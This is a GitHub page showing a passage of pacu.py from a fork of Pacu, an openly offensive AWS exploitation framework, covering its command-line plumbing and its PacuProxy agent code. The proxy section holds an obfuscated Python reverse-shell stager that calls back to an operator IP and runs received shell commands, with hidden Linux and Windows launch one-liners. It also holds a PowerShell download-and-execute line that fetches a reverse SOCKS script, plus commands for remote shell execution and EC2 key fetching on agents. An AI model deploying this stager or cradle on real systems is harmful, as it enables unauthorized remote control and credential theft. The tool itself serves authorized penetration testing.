forked from RhinoSecurityLabs/pacu
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pacu.py
1716 lines (1473 loc) · 92 KB
/
pacu.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
import copy
import importlib
import json
import os
import platform
from queue import Queue
import random
import re
import shlex
import string
import subprocess
import sys
import threading
import time
import traceback
from http.server import BaseHTTPRequestHandler, HTTPServer
try:
import requests
import boto3
import botocore
import configure_settings
import settings
from core.models import AWSKey, PacuSession, ProxySettings
from proxy import PacuProxy
from setup_database import setup_database_if_not_present
from utils import get_database_connection, set_sigint_handler
except ModuleNotFoundError as error:
exception_type, exception_value, tb = sys.exc_info()
print('Traceback (most recent call last):\n{}{}: {}\n'.format(''.join(traceback.format_tb(tb)), str(exception_type), str(exception_value)))
print('Pacu was not able to start because a required Python package was not found.\nRun `sh install.sh` to check and install Pacu\'s Python requirements.')
sys.exit(1)
class Main:
COMMANDS = [
'aws', 'data', 'exec', 'exit', 'help', 'import_keys', 'list', 'ls',
'proxy', 'quit', 'regions', 'run', 'search', 'services', 'set_keys',
'set_regions', 'swap_keys', 'update_regions', 'whoami'
]
def __init__(self):
self.database = None
self.server = None
self.proxy = None
self.queue = None
self.running_module_names = []
# Utility methods
def log_error(self, text, exception_info=None, session=None, local_data=None, global_data=None):
""" Write an error to the file at log_file_path, or a default log file
if no path is supplied. If a session is supplied, its name will be used
to determine which session directory to add the error file to. """
timestamp = time.strftime('%F %T', time.gmtime())
if session:
session_tag = '({})'.format(session.name)
else:
session_tag = '<No Session>'
try:
if session:
log_file_path = 'sessions/{}/error_log.txt'.format(session.name)
else:
log_file_path = 'global_error_log.txt'
print('\n[{}] Pacu encountered an error while running the previous command. Check {} for technical details. [LOG LEVEL: {}]\n\n {}\n'.format(timestamp, log_file_path, settings.ERROR_LOG_VERBOSITY.upper(), exception_info))
log_file_directory = os.path.dirname(log_file_path)
if log_file_directory and not os.path.exists(log_file_directory):
os.makedirs(log_file_directory)
formatted_text = '[{}] {}: {}'.format(timestamp, session_tag, text)
if settings.ERROR_LOG_VERBOSITY.lower() in ('low', 'high', 'extreme'):
if session:
session_data = session.get_all_fields_as_dict()
# Empty values are not valid keys, and that info should be
# preserved by checking for falsiness here.
if session_data.get('secret_access_key'):
session_data['secret_access_key'] = '****** (Censored)'
formatted_text += 'SESSION DATA:\n {}\n'.format(
json.dumps(
session_data,
indent=4,
default=str
)
)
if settings.ERROR_LOG_VERBOSITY.lower() == 'high':
if local_data is not None and global_data is not None:
formatted_text += '\nLAST TWO FRAMES LOCALS DATA:\n {}\n'.format('\n\n '.join(local_data[:2]))
formatted_text += '\nLAST TWO FRAMES GLOBALS DATA:\n {}\n'.format('\n\n '.join(global_data[:2]))
elif settings.ERROR_LOG_VERBOSITY.lower() == 'extreme':
if local_data is not None and global_data is not None:
formatted_text += '\nALL LOCALS DATA:\n {}\n'.format('\n\n '.join(local_data))
formatted_text += '\nALL GLOBALS DATA:\n {}\n'.format('\n\n '.join(global_data))
formatted_text += '\n'
with open(log_file_path, 'a+') as log_file:
log_file.write(formatted_text)
except Exception as error:
print('Error while saving exception information. This means the exception was not added to any error log and should most likely be provided to the developers.\n Exception raised: {}'.format(str(error)))
raise
# @message: String - message to print and/or write to file
# @output: String - where to output the message: both, file, or screen
# @output_type: String - format for message when written to file: plain or xml
# @is_cmd: boolean - Is the log the initial command that was run (True) or output (False)? Devs won't touch this most likely
def print(self, message='', output='both', output_type='plain', is_cmd=False, session_name=''):
session = self.get_active_session()
if session_name == '':
session_name = session.name
# Indent output from a command
if is_cmd is False:
# Add some recursion here to go through the entire dict for
# 'SecretAccessKey'. This is to not print the full secret access
# key into the logs, although this should get most cases currently.
if isinstance(message, dict):
if 'SecretAccessKey' in message:
message = copy.deepcopy(message)
message['SecretAccessKey'] = '{}{}'.format(message['SecretAccessKey'][0:int(len(message['SecretAccessKey']) / 2)], '*' * int(len(message['SecretAccessKey']) / 2))
message = json.dumps(message, indent=2, default=str)
elif isinstance(message, list):
message = json.dumps(message, indent=2, default=str)
# The next section prepends the running module's name in square
# brackets in front of the first line in the message containing
# non-whitespace characters.
if len(self.running_module_names) > 0 and isinstance(message, str):
split_message = message.split('\n')
for index, fragment in enumerate(split_message):
if re.sub(r'\s', '', fragment):
split_message[index] = '[{}] {}'.format(self.running_module_names[-1], fragment)
break
message = '\n'.join(split_message)
if output == 'both' or output == 'file':
if output_type == 'plain':
with open('sessions/{}/cmd_log.txt'.format(session_name), 'a+') as text_file:
text_file.write('{}\n'.format(message))
elif output_type == 'xml':
# TODO: Implement actual XML output
with open('sessions/{}/cmd_log.xml'.format(session_name), 'a+') as xml_file:
xml_file.write('{}\n'.format(message))
pass
else:
print(' Unrecognized output type: {}'.format(output_type))
if output == 'both' or output == 'screen':
print(message)
return True
# @message: String - input question to ask and/or write to file
# @output: String - where to output the message: both or screen (can't write a question to a file only)
# @output_type: String - format for message when written to file: plain or xml
def input(self, message, output='both', output_type='plain', session_name=''):
session = self.get_active_session()
if session_name == '':
session_name = session.name
if len(self.running_module_names) > 0 and isinstance(message, str):
split_message = message.split('\n')
for index, fragment in enumerate(split_message):
if re.sub(r'\s', '', fragment):
split_message[index] = '[{}] {}'.format(self.running_module_names[-1], fragment)
break
message = '\n'.join(split_message)
res = input(message)
if output == 'both':
if output_type == 'plain':
with open('sessions/{}/cmd_log.txt'.format(session_name), 'a+') as file:
file.write('{} {}\n'.format(message, res))
elif output_type == 'xml':
# TODO: Implement actual XML output
# now = time.time()
with open('sessions/{}/cmd_log.xml'.format(session_name), 'a+') as file:
file.write('{} {}\n'.format(message, res))\
else:
print(' Unrecognized output type: {}'.format(output_type))
return res
def validate_region(self, region):
if region in self.get_regions('All'):
return True
return False
def get_regions(self, service, check_session=True):
session = self.get_active_session()
service = service.lower()
with open('./modules/service_regions.json', 'r+') as regions_file:
regions = json.load(regions_file)
# TODO: Add an option for GovCloud regions
if service == 'all':
return regions['all']
if 'aws-global' in regions[service]['endpoints']:
return [None]
if 'all' in session.session_regions:
valid_regions = list(regions[service]['endpoints'].keys())
if 'local' in valid_regions:
valid_regions.remove('local')
return valid_regions
else:
valid_regions = list(regions[service]['endpoints'].keys())
if 'local' in valid_regions:
valid_regions.remove('local')
if check_session is True:
return [region for region in valid_regions if region in session.session_regions]
else:
return valid_regions
def display_all_regions(self, command):
for region in sorted(self.get_regions('all')):
print(' {}'.format(region))
# @data: list
# @module: string
# @args: string
def fetch_data(self, data, module, args, force=False):
session = self.get_active_session()
if data is None:
current = None
else:
current = getattr(session, data[0], None)
for item in data[1:]:
if current is not None and item in current:
current = current[item]
else:
current = None
break
if current is None or current == '' or current == [] or current == {} or current is False:
if force is False:
run_prereq = self.input('Data ({}) not found, run module "{}" to fetch it? (y/n) '.format(' > '.join(data), module), session_name=session.name)
else:
run_prereq = 'y'
if run_prereq == 'n':
return False
if args:
self.exec_module(['exec', module] + args.split(' '))
else:
self.exec_module(['exec', module])
return True
def key_info(self, alias=''):
""" Return the set of information stored in the session's active key
or the session's key with a specified alias, as a dictionary. """
session = self.get_active_session()
if alias == '':
alias = session.key_alias
aws_key = self.get_aws_key_by_alias(alias)
if aws_key is not None:
return aws_key.get_fields_as_camel_case_dictionary()
else:
return False
def print_key_info(self):
self.print(self.key_info())
def print_all_service_data(self, command):
session = self.get_active_session()
services = session.get_all_aws_data_fields_as_dict()
for service in services.keys():
print(' {}'.format(service))
def install_dependencies(self, external_dependencies):
if len(external_dependencies) < 1:
return True
answer = self.input('This module requires external dependencies: {}\n\nInstall them now? (y/n) '.format(external_dependencies))
if answer == 'n':
self.print('Not installing dependencies, exiting...')
return False
self.print('\nInstalling {} total dependencies...'.format(len(external_dependencies)))
for dependency in external_dependencies:
split = dependency.split('/')
name = split[-1]
if name.split('.')[-1] == 'git':
name = name.split('.')[0]
author = split[-2]
if os.path.exists('./dependencies/{}/{}'.format(author, name)):
self.print(' Dependency {}/{} already installed.'.format(author, name))
else:
try:
self.print(' Installing dependency {}/{} from {}...'.format(author, name, dependency))
subprocess.run(['git', 'clone', dependency, './dependencies/{}/{}'.format(author, name)])
except Exception as error:
self.print(' {} failed, view the error below. If you are unsure, some potential causes are that you are missing "git" on your command line, your git credentials are not properly set, or the GitHub link does not exist.'.format(error.cmd))
self.print(' stdout: {}\nstderr: {}'.format(error.cmd, error.stderr))
self.print(' Exiting module...')
return False
else:
if os.path.exists('./dependencies/{}'.format(name)):
self.print(' Dependency {} already installed.'.format(name))
else:
try:
self.print(' Installing dependency {}...'.format(name))
r = requests.get(dependency, stream=True)
if r.status_code == 404:
raise Exception('File not found.')
with open('./dependencies/{}'.format(name), 'wb') as f:
for chunk in r.iter_content(chunk_size=1024):
if chunk:
f.write(chunk)
except Exception as error:
self.print(' Downloading {} has failed, view the error below.'.format(dependency))
self.print(error)
self.print(' Exiting module...')
return False
self.print('Dependencies finished installing.')
return True
def get_active_session(self):
""" A wrapper for PacuSession.get_active_session, removing the need to
import the PacuSession model. """
return PacuSession.get_active_session(self.database)
def get_proxy_settings(self):
""" A wrapper for ProxySettings.get_proxy_settings, removing the need
to import the ProxySettings model. """
return ProxySettings.get_proxy_settings(self.database)
def get_aws_key_by_alias(self, alias):
""" Return an AWSKey with the supplied alias that is assigned to the
currently active PacuSession from the database, or None if no AWSKey
with the supplied alias exists. If more than one key with the alias
exists for the active session, an exception will be raised. """
session = self.get_active_session()
key = self.database.query(AWSKey) \
.filter(AWSKey.session_id == session.id) \
.filter(AWSKey.key_alias == alias) \
.scalar()
return key
def start_proxy(self):
proxy_settings = self.get_proxy_settings()
self.create_workers(proxy_settings.ip, proxy_settings.port)
self.create_jobs()
return
# Create the proxy threads
def create_workers(self, proxy_ip, proxy_port):
self.server = PacuProxy()
self.server.prepare_server(self.database)
for _ in range(2):
t = threading.Thread(target=self.work, args=(), daemon=True)
t.daemon = True
t.start()
return
# Handle the next job in queue (one thread handles connections, other sends commands)
def work(self):
while True:
x = self.queue.get()
if x == 1:
self.server.socket_create()
self.server.socket_bind()
self.server.accept_connections()
if x == 5:
break # Shutdown listener called
self.queue.task_done()
return
# Fill the queue with jobs
def create_jobs(self):
for x in [1, 2]: # Job numbers
self.queue.put(x)
return
# Return a PacuProxy stager string
def get_proxy_stager(self, ip, port, os):
python_stager = "import os,platform as I,socket as E,subprocess as B,time as t,sys as X,struct as D\\nV=True\\nY=t.sleep\\nclass A(object):\\n def __init__(self):\\n self.S='{}'\\n self.p={}\\n self.s=None\\n def b(self):\\n try:\\n self.s=E.socket()\\n except:\\n pass\\n return\\n def c(self):\\n try:\\n self.s.connect((self.S,self.p))\\n except:\\n Y(5)\\n raise\\n try:\\n self.s.send('{{}}\\{{}}'.format(I.system(),E.gethostname()).encode())\\n except:\\n pass\\n return\\n def d(self,R):\\n Q=R.encode()\\n self.s.send(D.pack('>I',len(Q))+Q)\\n return\\n def e(self):\\n try:\\n self.s.recv(10)\\n except:\\n return\\n self.s.send(D.pack('>I',0))\\n while V:\\n R=None\\n U=self.s.recv(20480)\\n if U==b'': break\\n elif U[:2].decode('utf-8')=='cd':\\n P=U[3:].decode('utf-8')\\n try:\\n os.chdir(P.strip())\\n except Exception as e:\\n R='e:%s'%str(e)\\n else:\\n R=''\\n elif U[:].decode('utf-8')=='q':\\n self.s.close()\\n X.exit(0)\\n elif len(U)>0:\\n try:\\n T=B.Popen(U[:].decode('utf-8'),shell=V,stdout=B.PIPE,stderr=B.PIPE,stdin=B.PIPE)\\n M=T.stdout.read()+T.stderr.read()\\n R=M.decode('utf-8',errors='replace')\\n except Exception as e:\\n R='e:%s'%str(e)\\n if R is not None:\\n try:\\n self.d(R)\\n except:\\n pass\\n self.s.close()\\n return\\ndef f():\\n C=A()\\n C.b()\\n while V:\\n try:\\n C.c()\\n except:\\n Y(5)\\n else:\\n break\\n try:\\n C.e()\\n except SystemExit:\\n X.exit(0)\\n except:\\n pass\\n C.s.close()\\n return\\nX.stderr=object\\nwhile V:\\n f()".format(ip, port)
if os == 'sh': # Linux one-liner (uses \" to escape inline double-quotes)
return 'python -c "{}" &'.format("exec(\\\"\\\"\\\"{}\\\"\\\"\\\")".format(python_stager))
elif os == 'ps': # Windows one-liner (uses `" to escape inline double-quotes)
return 'Start-Process -FilePath "python" -Verb open -WindowStyle Hidden -ArgumentList "-c {}"'.format('exec(`\"`\"`\"{}`\"`\"`\")'.format(python_stager))
else:
return 'Error: Expected target operating system ("sh" or "ps"), received: {}'.format(os)
def get_ssh_user(self, ssh_username, ssh_password=None):
user_id = ''
if ssh_username is None or ssh_username == '':
new_user = self.input('No SSH user found to create the reverse connection back from the target agent. An SSH user on the PacuProxy server is required to create a valid socks proxy routing through the remote agent. The user will be created with a random 25 character password and a /bin/false shell. Generate that user now? (y/n) ')
if new_user == 'y':
# Create a random username that is randomly 3-9 characters
username = ''.join(random.choices(string.ascii_lowercase, k=int(''.join(random.choices('3456789', k=1)))))
command = 'useradd -l -m -s /bin/false {}'.format(username)
self.print('Running command: {}\n'.format(command))
try:
subprocess.run(command.split(' '))
try:
user_id = subprocess.check_output('id -u {}'.format(username), shell=True).decode('utf-8')
if 'no such user' in user_id:
self.print('[0] Failed to find user after creation. Output from command "id -u {}": {}\n'.format(username, user_id))
return None, None, False
self.print('User {} created! Adding a password...\n'.format(username))
password = ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=25))
command = 'echo "{}:{}" | chpasswd'.format(username, password)
try:
subprocess.run(command.split(' '), shell=True)
except Exception as error:
self.print('Failed to add a password...\n')
return username, None, True
return username, password, self.update_sshd_config()
except Exception as error:
self.print('Failed to find user after creation. Output from command "id -u {}": {}\n'.format(username, user_id))
return None, None, False
except Exception as error:
self.print('Failed to create user...')
return None, None, False
else:
return None, None, False
else:
try:
user_id = subprocess.check_output('id -u {}'.format(ssh_username), shell=True).decode('utf-8')
if 'no such user' in user_id:
self.print('Failed to find a valid SSH user. Output from command "id -u {}": {}\n'.format(ssh_username, user_id))
new_user = self.input('An SSH user on the PacuProxy server is required to create a valid socks proxy routing through the remote agent. The user will be created with a random 25 character password and a /bin/false shell. Do you want to generate that user now? (y/n) ')
if new_user == 'y':
return self.get_ssh_user(None, None)
else:
return None, None, False
else:
return ssh_username, ssh_password, False
except Exception as error:
self.print('Failed to find a valid SSH user. Output from command "id -u {}": {}\n'.format(ssh_username, user_id))
new_user = self.input('An SSH user on the PacuProxy server is required to create a valid socks proxy routing through the remote agent. The user will be created with a random 25 character password and a /bin/false shell. Do you want to generate that user now? (y/n) ')
if new_user == 'y':
return self.get_ssh_user(None, None)
else:
return None, None, False
def update_sshd_config(self):
self.print('Ensuring that local port forwarding is disabled (to prevent a "hack back" scenario). This is done by editing /etc/ssh/sshd_config to either add the line or modify the value if the setting already exists: "AllowTcpForwarding remote". This prevents the target server from forwarding our local ports back to them.')
action = ''
with open('/etc/ssh/sshd_config', 'r') as config_file:
contents = config_file.read()
if 'AllowTcpForwarding' in contents:
if 'AllowTcpForwarding remote' in contents:
self.print('Already disabled.')
else:
action = 'replace'
else:
action = 'add'
with open('/etc/ssh/sshd_config', 'w') as config_file:
if action == 'replace':
contents = re.sub(r'.*AllowTcpForwarding.*', 'AllowTcpForwarding remote', contents)
config_file.write(contents)
return True
elif action == 'add':
contents += '\nAllowTcpForwarding remote'
config_file.write(contents)
return True
return False
# Pacu commands and execution
def parse_command(self, command):
command = command.strip()
if command.split(' ')[0] == 'aws':
self.run_aws_cli_command(command)
return
try:
command = shlex.split(command)
except ValueError:
self.print(' Error: Unbalanced quotes in command')
return
if not command or command[0] == '':
return
elif command[0] == 'data':
self.parse_data_command(command)
elif command[0] == 'help':
self.parse_help_command(command)
elif command[0] == 'import_keys':
self.parse_awscli_keys_import(command)
elif command[0] == 'list' or command[0] == 'ls':
self.parse_list_command(command)
elif command[0] == 'proxy':
self.parse_proxy_command(command)
elif command[0] == 'regions':
self.display_all_regions(command)
elif command[0] == 'run' or command[0] == 'exec':
self.parse_exec_module_command(command)
elif command[0] == 'search':
self.parse_search_command(command)
elif command[0] == 'services':
self.print_all_service_data(command)
elif command[0] == 'set_keys':
self.set_keys()
elif command[0] == 'set_regions':
self.parse_set_regions_command(command)
elif command[0] == 'swap_keys':
self.swap_keys()
elif command[0] == 'update_regions':
self.update_regions()
elif command[0] == 'whoami':
self.print_key_info()
elif command[0] == 'exit' or command[0] == 'quit':
self.exit()
else:
print(' Error: Unrecognized command')
return
def parse_awscli_keys_import(self, command):
if len(command) == 1:
self.display_command_help('import_keys')
return
boto3_session = boto3.session.Session()
if command[1] == '--all':
profiles = boto3_session.available_profiles
for profile_name in profiles:
self.import_awscli_key(profile_name)
return
self.import_awscli_key(command[1])
def import_awscli_key(self, profile_name):
try:
boto3_session = boto3.session.Session(profile_name=profile_name)
creds = boto3_session.get_credentials()
self.set_keys(key_alias='imported-{}'.format(profile_name), access_key_id=creds.access_key, secret_access_key=creds.secret_key, session_token=creds.token)
self.print(' Imported keys as "imported-{}"'.format(profile_name))
except botocore.exceptions.ProfileNotFound as error:
self.print('\n Did not find the AWS CLI profile: {}\n'.format(profile_name))
boto3_session = boto3.session.Session()
print(' Profiles that are available:\n {}\n'.format('\n '.join(boto3_session.available_profiles)))
def run_aws_cli_command(self, command):
try:
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT).decode('utf-8')
except subprocess.CalledProcessError as error:
result = error.output.decode('utf-8')
self.print(result)
def parse_data_command(self, command):
session = self.get_active_session()
proxy_settings = self.get_proxy_settings()
if len(command) == 1:
self.print('\nSession data:')
session.print_all_data_in_session()
self.print('\nProxy data:')
proxy = {
'IP': proxy_settings.ip,
'Port': proxy_settings.port,
'Listening': proxy_settings.listening,
'SSHUsername': proxy_settings.ssh_username,
'SSHPassword': proxy_settings.ssh_password,
'TargetAgent': copy.deepcopy(proxy_settings.target_agent)
}
self.print(proxy)
else:
if command[1] == 'proxy':
proxy = {
'IP': proxy_settings.ip,
'Port': proxy_settings.port,
'Listening': proxy_settings.listening,
'SSHUsername': proxy_settings.ssh_username,
'SSHPassword': proxy_settings.ssh_password,
'TargetAgent': copy.deepcopy(proxy_settings.target_agent)
}
self.print(proxy)
elif command[1] not in session.aws_data_field_names:
print(' Service not found.')
elif getattr(session, command[1]) == {} or getattr(session, command[1]) == [] or getattr(session, command[1]) == '':
print(' No data found.')
else:
print(json.dumps(getattr(session, command[1]), indent=2, sort_keys=True, default=str))
def parse_set_regions_command(self, command):
session = self.get_active_session()
if len(command) > 1:
for region in command[1:]:
if region.lower() == 'all':
session.update(self.database, session_regions=['all'])
print(' The region set for this session has been reset to the default of all supported regions.')
return
if self.validate_region(region) is False:
print(' {} is not a valid region.\n Session regions not changed.'.format(region))
return
session.update(self.database, session_regions=command[1:])
print(' Session regions changed: {}'.format(session.session_regions))
else:
print(' Error: set_regions requires either "all" or at least one region to be specified. Try the "regions" command to view all regions.')
def parse_help_command(self, command):
if len(command) <= 1:
self.display_pacu_help()
elif len(command) > 1 and command[1] in self.COMMANDS:
self.display_command_help(command[1])
else:
self.display_module_help(command[1])
def parse_list_command(self, command):
if len(command) == 1:
self.list_modules('')
elif len(command) == 2:
if command[1] in ('cat', 'category'):
self.list_modules('', by_category=True)
def parse_proxy_command(self, command):
proxy_settings = self.get_proxy_settings()
shm_name = proxy_settings.ssh_shm_name
proxy_ip = proxy_settings.ip
proxy_port = proxy_settings.port
proxy_listening = proxy_settings.listening
proxy_ssh_username = proxy_settings.ssh_username
proxy_ssh_password = proxy_settings.ssh_password
proxy_target_agent = copy.deepcopy(proxy_settings.target_agent)
if len(command) == 1 or (len(command) == 2 and command[1] == 'help'): # Display proxy help
self.display_proxy_help()
elif command[1] == 'start': # Start proxy server
if len(command) < 3:
self.print('You need to pass at least an IP address to proxy start: proxy start <ip> [<port>]')
return
if proxy_listening is False:
if len(command) == 4:
proxy_port = command[3]
else:
proxy_port = 80
proxy_ip = command[2]
if proxy_ip == '0.0.0.0':
self.print('Proxy IP must be the public IP of the server to stage agents correctly and not 0.0.0.0. PacuProxy will fallback to listening on 0.0.0.0 if it fails to start a listener on the supplied IP address, but the public IP is required to send to agents so they can contact the server.')
return
print('Starting PacuProxy on {}:{}...'.format(proxy_ip, proxy_port))
proxy_settings.update(self.database, ip=proxy_ip, port=proxy_port)
self.start_proxy()
proxy_listening = True
proxy_settings.update(self.database, listening=proxy_listening)
return
else:
print('Listener already running: {}'.format(self.server))
elif command[1] == 'list' or command[1] == 'ls': # List active agent connections
self.server.list_connections()
elif command[1] == 'shell': # Run shell command on an agent
if len(command) > 3:
self.server.run_cmd(int(command[2]), self.server.all_connections[int(command[2])], ' '.join(command[3:]))
else:
print('** Error: Expected an agent ID and a shell command. Use the format: proxy shell <agent_id> <shell command> **')
elif command[1] == 'fetch_ec2_keys':
if len(command) == 3:
self.fetch_ec2_keys(int(command[2]), self.server.all_connections[int(command[2])])
else:
self.print('** Error: Expected an agent ID. Use the format: proxy fetch_ec2_keys <agent_id> **')
elif command[1] == 'stop': # Stop proxy server
if proxy_listening is False:
print('No listeners are running.')
else:
if not proxy_target_agent == []:
for i, conn in enumerate(self.server.all_connections):
if self.server.all_addresses[i][0] == proxy_target_agent[0]:
if proxy_target_agent[-1].startswith('Windows'):
pass
# self.server.run_cmd(proxy_target_agent[0], self.server.all_connections[i], 'Stop-PortForwardJobs')
# break
else:
self.server.run_cmd(proxy_target_agent[0], self.server.all_connections[i], 'kill -9 $! && rm /dev/shm/{}'.format(shm_name))
break
self.server.quit_gracefully()
self.queue.put(5)
self.server = None
proxy_listening = False
proxy_target_agent = []
elif command[1] == 'kill': # Kill an agent connection
if len(command) == 3:
self.print('** Killing agent {}... **'.format(int(command[2])))
self.server.quit(int(command[2]), self.server.all_connections[int(command[2])])
self.print('** Agent killed **')
elif len(command) == 2:
print('** Error: Expected an agent ID, received nothing. Use format: proxy kill <agent_id> **')
else:
print('** Error: Expected an agent ID, received: {}'.format(command[2:]))
elif command[1] == 'stager':
if len(command) == 3:
self.print(self.get_proxy_stager(proxy_ip, proxy_port, command[2]))
else:
self.print('** Error: Expected target operating system ("sh" or "ps"), received: {}'.format(command[2:]))
elif command[1] == 'use':
if len(command) == 3:
try:
if command[2] == 'none':
self.print('** No longer using a remote PacuProxy agent to route commands. **')
for i, conn in enumerate(self.server.all_connections):
if self.server.all_addresses[i][0] == proxy_target_agent[0]:
if proxy_target_agent[-1].startswith('Windows'):
pass
# self.server.run_cmd(proxy_target_agent[0], self.server.all_connections[i], 'Stop-PortForwardJobs')
# break
else:
self.server.run_cmd(proxy_target_agent[0], self.server.all_connections[i], 'kill -9 $! && rm /dev/shm/{}'.format(shm_name))
break
proxy_target_agent = []
else:
proxy_target_agent = self.server.all_addresses[int(command[2])]
if platform.system() == 'Windows':
self.print('** Windows hosts do not support module proxying. Run PacuProxy on a Linux host for full module proxying capability. **')
return
try:
test = int(command[2])
except:
self.print('** Error: Invalid agent ID, expected an integer or "none", received: {} **'.format(command[2]))
return
print('Setting proxy target to agent {}...'.format(command[2]))
# Find or create an SSH user
proxy_ssh_username, proxy_ssh_password, restart_sshd = self.get_ssh_user(proxy_ssh_username, proxy_ssh_password)
if proxy_ssh_username is None:
self.print('No SSH user on the local PacuProxy server, not routing traffic through the target agent.')
return
if proxy_ssh_password is None:
self.print('Failed to set a password for user {}, not routing traffic through the target agent.'.format(proxy_ssh_username))
return
# If an SSH user was just generated, make sure local port forwarding is disabled
if restart_sshd is True:
self.print('SSH user setup successfully. It is highly recommended to restart your sshd service before continuing. Part of the SSH user creation process was to restrict access to local port forwarding, but this change requires an sshd restart. If local port forwarding is not disabled, your target machine can "hack back" by forwarding your local ports to their machine and accessing the services hosted on them. This can be done on most systems by running "service sshd restart".\n')
proxy_settings.update(self.database, ssh_username=proxy_ssh_username, ssh_password=proxy_ssh_password)
restart_sshd = self.input(' Do you want Pacu to restart sshd (Warning: If you are currently connected to your server over SSH, you may lose your connection)? Press enter if so, enter "ignore" to ignore this warning, or press Ctrl+C to exit and restart it yourself (Enter/ignore/Ctrl+C): ')
if restart_sshd == 'ignore':
pass
elif restart_sshd == '':
self.print('Restarting sshd...')
subprocess.run('service sshd restart', shell=True)
time.sleep(5)
self.print('Instructing remote agent to connect back...')
if proxy_target_agent[-1].startswith('Windows'):
self.print('Windows hosts not supported yet (coming soon!)')
return
secret_string = ''.join(random.choices(string.ascii_lowercase + string.ascii_uppercase + string.digits, k=25))
class S(BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.send_header('Server', random.choice(['Apache', 'nginx'])) # Maybe make this perm per session or remove altogether
self.end_headers()
def do_GET(self):
self._set_headers()
if self.path == '/{}'.format(secret_string):
with open('pp_modules/powershell/reverse-socks.ps1', 'r') as f:
script = f.read().encode()
else:
script = b''
self.wfile.write(script)
return
def run(server_class=HTTPServer, handler_class=S, port=80):
server_address = (proxy_ip, port)
try:
httpd = server_class(server_address, handler_class)
except OSError as error:
if 'Cannot assign requested address' in str(error):
print('Failed to listen on http://{}:{}.'.format(proxy_ip, port))
print('Listening on http://0.0.0.0:{} instead...'.format(port))
server_address = ('0.0.0.0', port)
httpd = server_class(server_address, handler_class)
httpd.serve_forever()
t = threading.Thread(target=run, daemon=True)
t.start()
time.sleep(2)
# 1. Start a new thread
# 2. Start an HTTP server on it with the .ps1 file
# 3. Continue to send the connect_back_cmd
# 4. Kill HTTP server
# Download the script from the PacuProxy server
downloaded_string = "(New-Object System.Net.WebClient).DownloadString('http://{}:5051/{}')".format(proxy_ip, secret_string)
# Run Invoke-Expression on the downloaded script to import it to memory
invoke_expression = 'powershell iex({})'.format(downloaded_string)
# Execute the newly imported script to start the reverse proxy
